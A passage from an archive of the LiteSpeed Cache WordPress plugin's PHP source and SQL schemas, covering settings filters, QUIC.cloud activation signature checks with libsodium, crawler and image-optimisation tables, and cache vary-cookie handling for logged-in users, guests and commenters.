for the bool option. * * @since 3.0 * * @param string $id Option ID. * @param int $v Max state. * @return void */ public static function set_multi_switch( $id, $v ) { self::$_multi_switch_list[ $id ] = $v; } /** * Generate const name based on $id. * * @since 3.0 * * @param string $id Option ID. * @return string */ public static function conf_const( $id ) { return 'LITESPEED_CONF__' . strtoupper( str_replace( '-', '__', $id ) ); } /** * Filter to be used when saving setting. * * @since 3.0 * * @param string $id Option ID. * @return string|false */ protected function _conf_filter( $id ) { $filters = [ self::O_MEDIA_LAZY_EXC => 'uri', self::O_DEBUG_INC => 'relative', self::O_DEBUG_EXC => 'relative', self::O_MEDIA_LAZY_URI_EXC => 'relative', self::O_CACHE_PRIV_URI => 'relative', self::O_PURGE_TIMED_URLS => 'relative', self::O_CACHE_FORCE_URI => 'relative', self::O_CACHE_FORCE_PUB_URI => 'relative', self::O_CACHE_EXC => 'relative', // self::O_OPTM_CSS_EXC => 'uri', // Need to comment out for inline & external CSS // self::O_OPTM_JS_EXC => 'uri', self::O_OPTM_EXC => 'relative', self::O_OPTM_CCSS_SEP_URI => 'uri', // self::O_OPTM_JS_DEFER_EXC => 'uri', self::O_OPTM_DNS_PREFETCH => 'domain', self::O_CDN_ORI => 'noprotocol,trailingslash', // `Original URLs` // self::O_OPTM_LOCALIZE_DOMAINS => 'noprotocol', // `Localize Resources` // self:: => '', // self:: => '', ]; if ( ! empty( $filters[ $id ] ) ) { return $filters[ $id ]; } return false; } /** * If the setting changes worth a purge or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_purge( $id ) { $check_ids = [ self::O_MEDIA_LAZY_URI_EXC, self::O_OPTM_EXC, self::O_CACHE_PRIV_URI, self::O_PURGE_TIMED_URLS, self::O_CACHE_FORCE_URI, self::O_CACHE_FORCE_PUB_URI, self::O_CACHE_EXC, ]; return in_array( $id, $check_ids, true ); } /** * If the setting changes worth a purge ALL or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_purge_all( $id ) { $check_ids = [ self::O_CACHE, self::O_ESI, self::O_DEBUG_DISABLE_ALL, self::NETWORK_O_USE_PRIMARY ]; return in_array( $id, $check_ids, true ); } /** * If the setting is a password or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_pswd( $id ) { $check_ids = [ self::O_CDN_CLOUDFLARE_KEY, self::O_OBJECT_PSWD ]; return in_array( $id, $check_ids, true ); } /** * If the setting is cron related or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_cron( $id ) { $check_ids = [ self::O_OPTM_CSS_ASYNC, self::O_MEDIA_PLACEHOLDER_RESP_ASYNC, self::O_DISCUSS_AVATAR_CRON, self::O_IMG_OPTM_AUTO, self::O_CRAWLER ]; return in_array( $id, $check_ids, true ); } /** * If the setting changes worth a purge, return the tag. * * @since 3.0 * * @param string $id Option ID. * @return string|false */ protected function _conf_purge_tag( $id ) { $check_ids = [ self::O_CACHE_PAGE_LOGIN => Tag::TYPE_LOGIN, ]; if ( ! empty( $check_ids[ $id ] ) ) { return $check_ids[ $id ]; } return false; } /** * Generate server vars. * * @since 2.4.1 * * @return array Map of constant name => value|null. */ public function server_vars() { $consts = [ 'WP_SITEURL', 'WP_HOME', 'WP_CONTENT_DIR', 'SHORTINIT', 'LSCWP_CONTENT_DIR', 'LSCWP_CONTENT_FOLDER', 'LSCWP_DIR', 'LITESPEED_TIME_OFFSET', 'LITESPEED_SERVER_TYPE', 'LITESPEED_CLI', 'LITESPEED_ALLOWED', 'LITESPEED_ON', 'LSWCP_TAG_PREFIX', 'COOKIEHASH', ]; $server_vars = []; foreach ( $consts as $v ) { $server_vars[ $v ] = defined( $v ) ? constant( $v ) : null; } return $server_vars; } /** * Save CSS content (UCSS/CCSS) to file and register in DB. * * Shared by UCSS, CSS, and Optimax classes. * * @since 8.0 * * @param string $type CSS type ('ucss' or 'ccss'). * @param string $css CSS content. * @param string $url_tag URL tag for DB mapping. * @param string $vary Vary string. * @param string $queue_k Queue key (for filter and purge tag). * @param bool $is_mobile Whether is mobile. * @param bool $is_webp Whether supports webp. * @return void */ protected function _save_css_con( $type, $css, $url_tag, $vary, $queue_k, $is_mobile, $is_webp ) { $css = apply_filters( 'litespeed_' . $type, $css, $queue_k ); // Font optimize $css = $this->cls('Optimizer')->optm_font_face( $css ); // Sanitize: CSS must not contain HTML tags $css = wp_strip_all_tags( $css ); self::debug2( 'con: ', $css ); if ( '/*' === substr( $css, 0, 2 ) && '*/' === substr( $css, -2 ) ) { self::debug( '❌ empty ' . $type . ' [content] ' . $css ); } $filecon_md5 = md5( $css ); $filepath_prefix = $this->_build_filepath_prefix( $type ); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css'; File::save( $static_file, $css, true ); self::debug2( "Save URL to file [file] $static_file [vary] $vary" ); $this->cls( 'Data' )->save_url( $url_tag, $vary, $type, $filecon_md5, dirname( $static_file ), $is_mobile, $is_webp ); Purge::add( strtoupper( $type ) . '.' . md5( $queue_k ) ); } } cloud-auth-callback.trait.php000064400000024673152077520260012220 0ustar00_summary['sk_b64'] ) ) { self::debugErr( 'No sk to sign.' ); return false; } $sk = base64_decode( $this->_summary['sk_b64'] ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode if ( strlen( $sk ) !== SODIUM_CRYPTO_SIGN_SECRETKEYBYTES ) { self::debugErr( 'Invalid local sign sk length.' ); // Reset local pk/sk unset( $this->_summary['pk_b64'] ); unset( $this->_summary['sk_b64'] ); $this->save_summary(); self::debug( 'Clear local sign pk/sk pair.' ); return false; } $signature = sodium_crypto_sign_detached( (string) $data, $sk ); return base64_encode( $signature ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } /** * Load server pk from cloud * * @since 7.0 * * @param bool $from_wpapi Load from WP API server. * @return string|false Binary public key or false. */ private function _load_server_pk( $from_wpapi = false ) { // Load cloud pk $server_key_url = $this->_cloud_server . '/' . self::API_SERVER_KEY_SIGN; if ( $from_wpapi ) { $server_key_url = $this->_cloud_server_wp . '/' . self::API_SERVER_KEY_SIGN; } $resp = wp_safe_remote_get( $server_key_url ); if ( is_wp_error( $resp ) ) { self::debugErr( 'Failed to load key: ' . $resp->get_error_message() ); return false; } $pk = trim( $resp['body'] ); self::debug( 'Loaded key from ' . $server_key_url . ': ' . $pk ); $cloud_pk = base64_decode( $pk ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode if ( strlen( $cloud_pk ) !== SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES ) { self::debugErr( 'Invalid cloud public key length.' ); return false; } $sk = base64_decode( $this->_summary['sk_b64'] ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode if ( strlen( $sk ) !== SODIUM_CRYPTO_SIGN_SECRETKEYBYTES ) { self::debugErr( 'Invalid local secret key length.' ); // Reset local pk/sk unset( $this->_summary['pk_b64'] ); unset( $this->_summary['sk_b64'] ); $this->save_summary(); self::debug( 'Unset local pk/sk pair.' ); return false; } return $cloud_pk; } /** * WPAPI echo back to notify the sealed databox * * @since 7.0 */ public function wp_rest_echo() { // phpcs:ignore WordPress.Security.NonceVerification.Missing self::debug( 'Parsing echo', $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing $ts = !empty( $_POST['wpapi_ts'] ) ? sanitize_text_field( wp_unslash( $_POST['wpapi_ts'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing $sig = !empty( $_POST['wpapi_signature_b64'] ) ? sanitize_text_field( wp_unslash( $_POST['wpapi_signature_b64'] ) ) : ''; if ( empty( $ts ) || empty( $sig ) ) { return self::err( 'No echo data' ); } $is_valid = $this->_validate_signature( $sig, $ts, true ); if ( ! $is_valid ) { return self::err( 'Data validation from WPAPI REST Echo failed' ); } $diff = time() - (int) $ts; if ( abs( $diff ) > 86400 ) { self::debugErr( 'WPAPI echo data timeout [diff] ' . $diff ); return self::err( 'Echo data expired' ); } $signature_b64 = $this->_sign_b64( $ts ); self::debug( 'Response to echo [signature_b64] ' . $signature_b64 ); return self::ok( [ 'signature_b64' => $signature_b64 ] ); } /** * Validate cloud data * * @since 7.0 * * @param string $signature_b64 Base64 signature. * @param string $data Data to validate. * @param bool $from_wpapi Whether the signature is from WP API server. * @return bool */ private function _validate_signature( $signature_b64, $data, $from_wpapi = false ) { // Try validation try { $cloud_pk = $this->_load_server_pk( $from_wpapi ); if ( ! $cloud_pk ) { return false; } $signature = base64_decode( $signature_b64 ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode $is_valid = sodium_crypto_sign_verify_detached( $signature, (string) $data, $cloud_pk ); } catch ( \SodiumException $e ) { self::debugErr( 'Decryption failed: ' . esc_html( $e->getMessage() ) ); return false; } self::debug( 'Signature validation result: ' . ( $is_valid ? 'true' : 'false' ) ); return $is_valid; } /** * Finish qc activation after redirection back from QC * * @since 7.0 * * @param string|false $ref Ref slug. */ public function finish_qc_activation( $ref = false ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $qc_activated = !empty( $_GET['qc_activated'] ) ? sanitize_text_field( wp_unslash( $_GET['qc_activated'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $qc_ts = !empty( $_GET['qc_ts'] ) ? sanitize_text_field( wp_unslash( $_GET['qc_ts'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $qc_sig = !empty( $_GET['qc_signature_b64'] ) ? sanitize_text_field( wp_unslash( $_GET['qc_signature_b64'] ) ) : ''; if ( ! $qc_activated || ! $qc_ts || ! $qc_sig ) { return; } $data_to_validate_signature = [ 'wp_pk_b64' => $this->_summary['pk_b64'], 'qc_ts' => $qc_ts, ]; $is_valid = $this->_validate_signature( $qc_sig, implode( '', $data_to_validate_signature ) ); if ( ! $is_valid ) { self::debugErr( 'Failed to validate qc activation data' ); Admin_Display::error( sprintf( __( 'Failed to validate %s activation data.', 'litespeed-cache' ), 'QUIC.cloud' ) ); return; } self::debug( 'QC activation status: ' . $qc_activated ); if ( ! in_array( $qc_activated, [ 'anonymous', 'linked', 'cdn' ], true ) ) { self::debugErr( 'Failed to parse qc activation status' ); Admin_Display::error( sprintf( __( 'Failed to parse %s activation status.', 'litespeed-cache' ), 'QUIC.cloud' ) ); return; } $diff = time() - (int) $qc_ts; if ( abs( $diff ) > 86400 ) { self::debugErr( 'QC activation data timeout [diff] ' . $diff ); Admin_Display::error( sprintf( __( '%s activation data expired.', 'litespeed-cache' ), 'QUIC.cloud' ) ); return; } // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $main_domain = ! empty( $_GET['main_domain'] ) ? sanitize_text_field( wp_unslash( $_GET['main_domain'] ) ) : false; $this->update_qc_activation( $qc_activated, $main_domain ); wp_safe_redirect( $this->_get_ref_url( $ref ) ); exit; } /** * Finish qc activation process * * @since 7.0 * * @param string $qc_activated Activation status. * @param string|bool $main_domain Main domain. * @param bool $quite Quiet flag. */ public function update_qc_activation( $qc_activated, $main_domain = false, $quite = false ) { $this->_summary['qc_activated'] = $qc_activated; if ( $main_domain ) { $this->_summary['main_domain'] = $main_domain; } $this->save_summary(); $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the anonymous online services.', 'litespeed-cache' ), 'QUIC.cloud' ); if ( 'linked' === $qc_activated ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services.', 'litespeed-cache' ), 'QUIC.cloud' ); // Sync possible partner info $this->sync_usage(); } if ( 'cdn' === $qc_activated ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache' ), 'QUIC.cloud' ); // Turn on CDN option $this->cls( 'Conf' )->update_confs( [ self::O_CDN_QUIC => true ] ); } if ( ! $quite ) { Admin_Display::success( '🎊 ' . $msg ); } $this->_clear_reset_qc_reg_msg(); $this->clear_cloud(); } /** * Update QC status * * @since 7.0 */ public function update_cdn_status() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $qc_activated = !empty( $_POST['qc_activated'] ) ? sanitize_text_field( wp_unslash( $_POST['qc_activated'] ) ) : ''; if ( !$qc_activated || ! in_array( $qc_activated, [ 'anonymous', 'linked', 'cdn', 'deleted' ], true ) ) { return self::err( 'lack_of_params' ); } self::debug( 'update_cdn_status request hash: ' . $qc_activated ); if ( 'deleted' === $qc_activated ) { $this->_reset_qc_reg(); } else { $this->_summary['qc_activated'] = $qc_activated; $this->save_summary(); } if ( 'cdn' === $qc_activated ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache' ), 'QUIC.cloud' ); Admin_Display::success( '🎊 ' . $msg ); $this->_clear_reset_qc_reg_msg(); // Turn on CDN option $this->cls( 'Conf' )->update_confs( [ self::O_CDN_QUIC => true ] ); $this->cls( 'CDN\Quic' )->try_sync_conf( true ); } return self::ok( [ 'qc_activated' => $qc_activated ] ); } /** * Clear QC linked status * * @since 5.0 */ private function _reset_qc_reg() { unset( $this->_summary['qc_activated'] ); if ( ! empty( $this->_summary['partner'] ) ) { unset( $this->_summary['partner'] ); } self::save_summary(); $msg = $this->_reset_qc_reg_content(); Admin_Display::error( $msg, false, true ); } /** * Build reset QC registration content. * * @since 7.0 * @return string */ private function _reset_qc_reg_content() { $msg = __( 'Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.', 'litespeed-cache' ); $msg .= Doc::learn_more( admin_url( 'admin.php?page=litespeed' ), __( 'Click here to proceed.', 'litespeed-cache' ), true, false, true ); $msg .= Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/', false, false, false, true ); return $msg; } /** * Clear reset QC reg msg if exist * * @since 7.0 */ private function _clear_reset_qc_reg_msg() { self::debug( 'Removed pinned reset QC reg content msg' ); $msg = $this->_reset_qc_reg_content(); Admin_Display::dismiss_pin_by_content( $msg, Admin_Display::NOTICE_RED, true ); } } data_structure/url.sql000064400000000315152077520260011125 0ustar00`id` bigint(20) NOT NULL AUTO_INCREMENT, `url` varchar(500) NOT NULL, `cache_tags` varchar(1000) NOT NULL DEFAULT '', PRIMARY KEY (`id`), UNIQUE KEY `url` (`url`(191)), KEY `cache_tags` (`cache_tags`(191))data_structure/crawler_blacklist.sql000064400000000626152077520260014017 0ustar00 `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `url` varchar(1000) NOT NULL DEFAULT '', `res` varchar(255) NOT NULL DEFAULT '' COMMENT '-=Not Blacklist, B=blacklist', `reason` text NOT NULL COMMENT 'Reason for blacklist, comma separated', `mtime` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`), KEY `url` (`url`(191)), KEY `res` (`res`) data_structure/img_optming.sql000064400000000526152077520260012640 0ustar00 `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `post_id` bigint(20) unsigned NOT NULL DEFAULT '0', `optm_status` tinyint(4) NOT NULL DEFAULT '0', `src` varchar(1000) NOT NULL DEFAULT '', `server_info` text NOT NULL, PRIMARY KEY (`id`), KEY `post_id` (`post_id`), KEY `optm_status` (`optm_status`), KEY `src` (`src`(191)) data_structure/avatar.sql000064400000000404152077520260011600 0ustar00 `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `url` varchar(1000) NOT NULL DEFAULT '', `md5` varchar(128) NOT NULL DEFAULT '', `dateline` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `md5` (`md5`), KEY `dateline` (`dateline`) data_structure/url_file.sql000064400000001210152077520260012117 0ustar00`id` bigint(20) NOT NULL AUTO_INCREMENT, `url_id` bigint(20) NOT NULL, `vary` varchar(32) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'md5 of final vary', `filename` varchar(32) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'md5 of file content', `type` tinyint(4) NOT NULL COMMENT 'css=1,js=2,ccss=3,ucss=4', `mobile` tinyint(4) NOT NULL COMMENT 'mobile=1', `webp` tinyint(4) NOT NULL COMMENT 'webp=1', `expired` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`id`), KEY `filename` (`filename`), KEY `type` (`type`), KEY `url_id_2` (`url_id`,`vary`,`type`), KEY `filename_2` (`filename`,`expired`), KEY `url_id` (`url_id`,`expired`) data_structure/crawler.sql000064400000000632152077520260011764 0ustar00 `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `url` varchar(1000) NOT NULL DEFAULT '', `res` varchar(255) NOT NULL DEFAULT '' COMMENT '-=not crawl, H=hit, M=miss, B=blacklist', `reason` text NOT NULL COMMENT 'response code, comma separated', `mtime` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`), KEY `url` (`url`(191)), KEY `res` (`res`) data_structure/img_optm.sql000064400000000632152077520260012140 0ustar00 `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `post_id` bigint(20) unsigned NOT NULL DEFAULT '0', `optm_status` tinyint(4) NOT NULL DEFAULT '0', `src` text NOT NULL, `src_filesize` int(11) NOT NULL DEFAULT '0', `target_filesize` int(11) NOT NULL DEFAULT '0', `webp_filesize` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `post_id` (`post_id`), KEY `optm_status` (`optm_status`) vary.cls.php000064400000052522152077520270007033 0ustar00conf( Base::O_CACHE_LOGIN_COOKIE ); // network aware in v3.0. // If no vary set in rewrite rule. if ( ! isset( $_SERVER['LSCACHE_VARY_COOKIE'] ) ) { if ( $db_cookie ) { // Check for ESI no-vary control. $something_wrong = true; if ( ! empty( $_GET[ ESI::QS_ACTION ] ) && ! empty( $_GET['_control'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $control_raw = wp_unslash( (string) $_GET['_control'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $control = array_map( 'sanitize_text_field', explode( ',', $control_raw ) ); if ( in_array( 'no-vary', $control, true ) ) { self::debug( 'no-vary control existed, bypass vary_name update' ); $something_wrong = false; self::$_vary_name = $db_cookie; } } if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) { $something_wrong = false; } if ( $something_wrong ) { // Display cookie error msg to admin. if ( is_multisite() ? is_network_admin() : is_admin() ) { Admin_Display::show_error_cookie(); } Control::set_nocache( '❌❌ vary cookie setting error' ); } } return; } // DB setting does not exist – nothing to check. if ( ! $db_cookie ) { return; } // Beyond this point, ensure DB vary is present in $_SERVER env. $server_raw = wp_unslash( (string) $_SERVER['LSCACHE_VARY_COOKIE'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $vary_arr = array_map( 'trim', explode( ',', $server_raw ) ); if ( in_array( $db_cookie, $vary_arr, true ) ) { self::$_vary_name = $db_cookie; return; } if ( is_multisite() ? is_network_admin() : is_admin() ) { Admin_Display::show_error_cookie(); } Control::set_nocache( 'vary cookie setting lost error' ); } /** * Run after user init to set up vary/caching for current request. * * @since 4.0 * @return void */ public function after_user_init() { $this->_update_vary_name(); // Logged-in user. if ( Router::is_logged_in() ) { // If not ESI, check cache logged-in user setting. if ( ! $this->cls( 'Router' )->esi_enabled() ) { // Cache logged-in => private cache. if ( $this->conf( Base::O_CACHE_PRIV ) && ! is_admin() ) { add_action( 'wp_logout', __NAMESPACE__ . '\Purge::purge_on_logout' ); $this->cls( 'Control' )->init_cacheable(); Control::set_private( 'logged in user' ); } else { // No cache for logged-in user. Control::set_nocache( 'logged in user' ); } } elseif ( ! is_admin() ) { // ESI is on; can be public cache, but ensure cacheable is initialized. $this->cls( 'Control' )->init_cacheable(); } // Clear login state on logout. add_action( 'clear_auth_cookie', [ $this, 'remove_logged_in' ] ); } else { // Only after vary init we can detect guest mode. $this->_maybe_guest_mode(); // Set vary cookie when user logs in (to avoid guest vary). add_action( 'set_logged_in_cookie', [ $this, 'add_logged_in' ], 10, 4 ); add_action( 'wp_login', __NAMESPACE__ . '\Purge::purge_on_logout' ); $this->cls( 'Control' )->init_cacheable(); // Check login-page cacheable setting — login page doesn't go through main WP logic. add_action( 'login_init', [ $this->cls( 'Tag' ), 'check_login_cacheable' ], 5 ); // Optional lightweight guest vary updater. if ( ! empty( $_GET['litespeed_guest'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended add_action( 'wp_loaded', [ $this, 'update_guest_vary' ], 20 ); } } // Commenter checks. add_filter( 'comments_array', [ $this, 'check_commenter' ] ); // Set vary cookie for commenter. add_action( 'set_comment_cookies', [ $this, 'append_commenter' ] ); // REST: don't change vary because they don't carry on user info usually. add_action( 'rest_api_init', function () { self::debug( 'Rest API init disabled vary change' ); add_filter( 'litespeed_can_change_vary', '__return_false' ); } ); } /** * Mark request as Guest mode when applicable. * * @since 4.0 * @return void */ private function _maybe_guest_mode() { if ( defined( 'LITESPEED_GUEST' ) ) { self::debug( '👒👒 Guest mode ' . ( LITESPEED_GUEST ? 'predefined' : 'turned off' ) ); return; } if ( ! $this->conf( Base::O_GUEST ) ) { return; } // If vary is set, then not a guest. if ( self::has_vary() ) { return; } // Admin QS present? not a guest. if ( ! empty( $_GET[ Router::ACTION ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } if ( wp_doing_ajax() ) { return; } if ( wp_doing_cron() ) { return; } // Request to update vary? not a guest. if ( ! empty( $_GET['litespeed_guest'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } // User explicitly turned guest off. if ( ! empty( $_GET['litespeed_guest_off'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } self::debug( '👒👒 Guest mode' ); ! defined( 'LITESPEED_GUEST' ) && define( 'LITESPEED_GUEST', true ); if ( $this->conf( Base::O_GUEST_OPTM ) ) { ! defined( 'LITESPEED_GUEST_OPTM' ) && define( 'LITESPEED_GUEST_OPTM', true ); } } /** * Update Guest vary * * @since 4.0 * @deprecated 4.1 Use independent lightweight guest.vary.php instead. * @return void */ public function update_guest_vary() { // Must not be cached. ! defined( 'LSCACHE_NO_CACHE' ) && define( 'LSCACHE_NO_CACHE', true ); $_guest = new Lib\Guest(); if ( $_guest->always_guest() || self::has_vary() ) { // If contains vary already, don't reload (avoid loops). ! defined( 'LITESPEED_GUEST' ) && define( 'LITESPEED_GUEST', true ); self::debug( '🤠🤠 Guest' ); echo '[]'; exit; } self::debug( 'Will update guest vary in finalize' ); // Return JSON to trigger reload. echo wp_json_encode( [ 'reload' => 'yes' ] ); exit; } /** * Filter callback on `comments_array` to mark commenter state. * * @since 1.0.4 * * @param array $comments The comments to output. * @return array Filtered comments. */ public function check_commenter( $comments ) { /** * Allow bypassing pending comment check for comment plugins. * * @since 2.9.5 */ if ( apply_filters( 'litespeed_vary_check_commenter_pending', true ) ) { $pending = false; foreach ( $comments as $comment ) { if ( ! $comment->comment_approved ) { $pending = true; break; } } // No pending comments => ensure public cache state. if ( ! $pending ) { self::debug( 'No pending comment' ); $this->remove_commenter(); // Remove commenter prefilled info for public cache. foreach ( $_COOKIE as $cookie_name => $cookie_value ) { if ( strlen( $cookie_name ) >= 15 && 0 === strpos( $cookie_name, 'comment_author_' ) ) { unset( $_COOKIE[ $cookie_name ] ); } } return $comments; } } // Pending comments present — set commenter vary. $this->add_commenter(); if ( $this->conf( Base::O_CACHE_COMMENTER ) ) { Control::set_private( 'existing commenter' ); } else { Control::set_nocache( 'existing commenter' ); } return $comments; } /** * Check if default vary has a value * * @since 1.1.3 * * @return false|string Cookie value or false if missing. */ public static function has_vary() { if ( empty( $_COOKIE[ self::$_vary_name ] ) ) { return false; } // Cookie values are not user-displayed; unslash only. return wp_unslash( (string) $_COOKIE[ self::$_vary_name ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } /** * Append user status with logged-in. * * @since 1.1.3 * @since 1.6.2 Removed static referral. * * @param string|false $logged_in_cookie The logged-in cookie value. * @param int|false $expire Expiration timestamp. * @param int|false $expiration Unused (WordPress signature). * @param int|false $uid User ID. * @return void */ public function add_logged_in( $logged_in_cookie = false, $expire = false, $expiration = false, $uid = false ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed self::debug( 'add_logged_in' ); // Allow Ajax vary change during login flow. // NOTE: Run before `$this->_update_default_vary()` to make vary changeable self::can_ajax_vary(); // Ensure vary cookie exists/updated. $this->_update_default_vary( $uid, $expire ); } /** * Remove user logged-in status. * * @since 1.1.3 * @since 1.6.2 Removed static referral. * @return void */ public function remove_logged_in() { self::debug( 'remove_logged_in' ); // Allow Ajax vary change during logout flow. self::can_ajax_vary(); // Force update vary to remove login status. $this->_update_default_vary( -1 ); } /** * Allow vary to be changed for Ajax calls. * * @since 2.2.2 * @since 2.6 Changed to static. * @return void */ public static function can_ajax_vary() { self::debug( '_can_change_vary -> true' ); self::$_can_change_vary = true; } /** * Whether we can change the default vary right now. * * @since 1.6.2 * @return bool */ private function can_change_vary() { // Don't change on Ajax unless explicitly allowed (no webp header). if ( Router::is_ajax() && ! self::$_can_change_vary ) { self::debug( 'can_change_vary bypassed due to ajax call' ); return false; } // Allow only GET/POST. // POST request can set vary to fix #820789 login "loop" guest cache issue. if ( isset( $_SERVER['REQUEST_METHOD'] ) && 'GET' !== $_SERVER['REQUEST_METHOD'] && 'POST' !== $_SERVER['REQUEST_METHOD'] ) { self::debug( 'can_change_vary bypassed due to method not get/post' ); return false; } // Disable when crawler is making the request. if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) && 0 === strpos( wp_unslash( (string) $_SERVER['HTTP_USER_AGENT'] ), Crawler::FAST_USER_AGENT ) // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized ) { self::debug( 'can_change_vary bypassed due to crawler' ); return false; } if ( ! apply_filters( 'litespeed_can_change_vary', true ) ) { self::debug( 'can_change_vary bypassed due to litespeed_can_change_vary hook' ); return false; } return true; } /** * Update default vary cookie (idempotent within a request). * * @since 1.6.2 * @since 1.6.6.1 Guard to ensure single run. * * @param int|false $uid User ID or false. * @param int|false $expire Expiration timestamp (default: +2 days). * @return void */ private function _update_default_vary( $uid = false, $expire = false ) { // Ensure header output only runs once. if ( ! defined( 'LITESPEED_DID_' . __FUNCTION__ ) ) { define( 'LITESPEED_DID_' . __FUNCTION__, true ); } else { self::debug2( '_update_default_vary bypassed due to run already' ); return; } // ESI shouldn't change vary (main page only). if ( defined( 'LSCACHE_IS_ESI' ) && LSCACHE_IS_ESI ) { self::debug2( '_update_default_vary bypassed due to ESI' ); return; } $vary = $this->finalize_default_vary( $uid ); $current_vary = self::has_vary(); if ( $current_vary !== $vary && 'commenter' !== $current_vary && $this->can_change_vary() ) { if ( ! $expire ) { $expire = time() + 2 * DAY_IN_SECONDS; } $this->_cookie( $vary, (int) $expire ); } } /** * Get the current vary cookie name. * * @since 1.9.1 * @return string */ public function get_vary_name() { return self::$_vary_name; } /** * Check if a user role is in a configured vary group. * * @since 1.2.0 * @since 3.0 Moved here from conf.cls. * * @param string $role User role(s), comma-separated. * @return int|string Group ID or 0. */ public function in_vary_group( $role ) { $group = 0; $vary_groups = $this->conf( Base::O_CACHE_VARY_GROUP ); $roles = explode( ',', $role ); $found = array_intersect( $roles, array_keys( (array) $vary_groups ) ); if ( $found ) { $groups = []; foreach ( $found as $curr_role ) { $groups[] = $vary_groups[ $curr_role ]; } $group = implode( ',', array_unique( $groups ) ); } elseif ( in_array( 'administrator', $roles, true ) ) { $group = 99; } if ( $group ) { self::debug2( 'role in vary_group [group] ' . $group ); } return $group; } /** * Finalize default vary cookie value for current user. * NOTE: Login process will also call this because it does not call wp hook as normal page loading. * * @since 1.6.2 * * @param int|false $uid Optional user ID. * @return false|string False for guests when no vary needed, or hashed vary. */ public function finalize_default_vary( $uid = false ) { // Bypass vary for guests where applicable (avoid non-guest filenames for assets). if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { return false; } $vary = []; if ( $this->conf( Base::O_GUEST ) ) { $vary['guest_mode'] = 1; } if ( ! $uid ) { $uid = get_current_user_id(); } else { self::debug( 'uid: ' . $uid ); } // Get user role/group. $role = Router::get_role( $uid ); if ( $uid > 0 ) { $vary['logged-in'] = 1; if ( $role ) { // Parse role group from settings. $role_group = $this->in_vary_group( $role ); if ( $role_group ) { $vary['role'] = $role_group; } } // Admin bar preference. $pref = get_user_option( 'show_admin_bar_front', $uid ); self::debug2( 'show_admin_bar_front: ' . var_export( $pref, true ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export $admin_bar = ( false === $pref || 'true' === $pref ); if ( $admin_bar ) { $vary['admin_bar'] = 1; self::debug2( 'admin bar : true' ); } } else { self::debug( 'role id: failed, guest' ); } /** * Filter vary entries before hashing. * * @since 1.6 Added for Role Excludes for optimization cls * @since 1.6.2 Hooked to webp (legacy) * @since 3.0 Used by 3rd hooks too */ $vary = apply_filters( 'litespeed_vary', $vary ); if ( ! $vary ) { return false; } ksort( $vary ); $list = []; foreach ( $vary as $key => $val ) { $list[] = $key . ':' . $val; } $res = implode( ';', $list ); if ( defined( 'LSCWP_LOG' ) ) { return $res; } // Encrypt in production. return md5( $this->conf( Base::HASH ) . $res ); } /** * Get hash of all varies that affect caching (current cookies + default + env). * * @since 4.0 * @return string */ public function finalize_full_varies() { $vary = $this->_finalize_curr_vary_cookies( true ); $vary .= $this->finalize_default_vary( get_current_user_id() ); $vary .= 